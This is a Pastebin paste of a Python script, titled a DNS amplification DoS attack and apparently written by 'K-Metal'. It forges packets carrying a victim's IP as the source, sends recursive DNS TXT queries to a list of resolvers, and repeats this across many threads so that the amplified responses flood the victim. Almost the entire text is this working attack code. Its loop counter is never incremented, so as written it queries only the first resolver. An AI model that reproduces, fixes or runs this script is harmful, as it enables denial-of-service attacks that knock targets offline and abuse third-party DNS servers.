Advertisement
Guest User

DNS Amplification Attack Script

a guest
Apr 15th, 2015
1,378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.98 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. ######################
  4. # DNS AMP dos attack #
  5. #    by K-Metal      #
  6. ######################
  7.  
  8. from scapy.all import *
  9. import threading, sys, random, time
  10.  
  11. #Proof of Concept
  12.  
  13. if len(sys.argv) < 2:   #Print Help
  14.     print "Usage: "+sys.argv[0]+" <ip> <list> <threads>"
  15.     sys.exit()
  16.  
  17. host = sys.argv[1] #Variables
  18. File = sys.argv[2]
  19. numthreads = int(sys.argv[3])
  20. threads = []
  21.  
  22. with open(File) as f:   #Read list
  23.     List = f.readlines()
  24.  
  25. Max = len(List) #Max length of the list
  26.  
  27. def flood():
  28.     global host
  29.     global List
  30.     global Max
  31.     print "Flooding..."
  32.     while True:
  33.         count = 0
  34.         while count < Max:
  35.             p=IP(dst=List[count],src=host)
  36.             u=UDP(dport=53,sport=random.randint(1024,65535))/DNS(rd=1,qd=DNSQR(qname="goo.gl", qtype="TXT")) #DNS Query
  37.             send(p/u,verbose=0)
  38.  
  39. for n in range(numthreads): #Multi-threading
  40.     t = threading.Thread(target=flood)
  41.     t.daemon = True
  42.     t.start()
  43.     threads.append(t)
  44.  
  45. while True:     #So CTRL+C kills all threads
  46.     time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement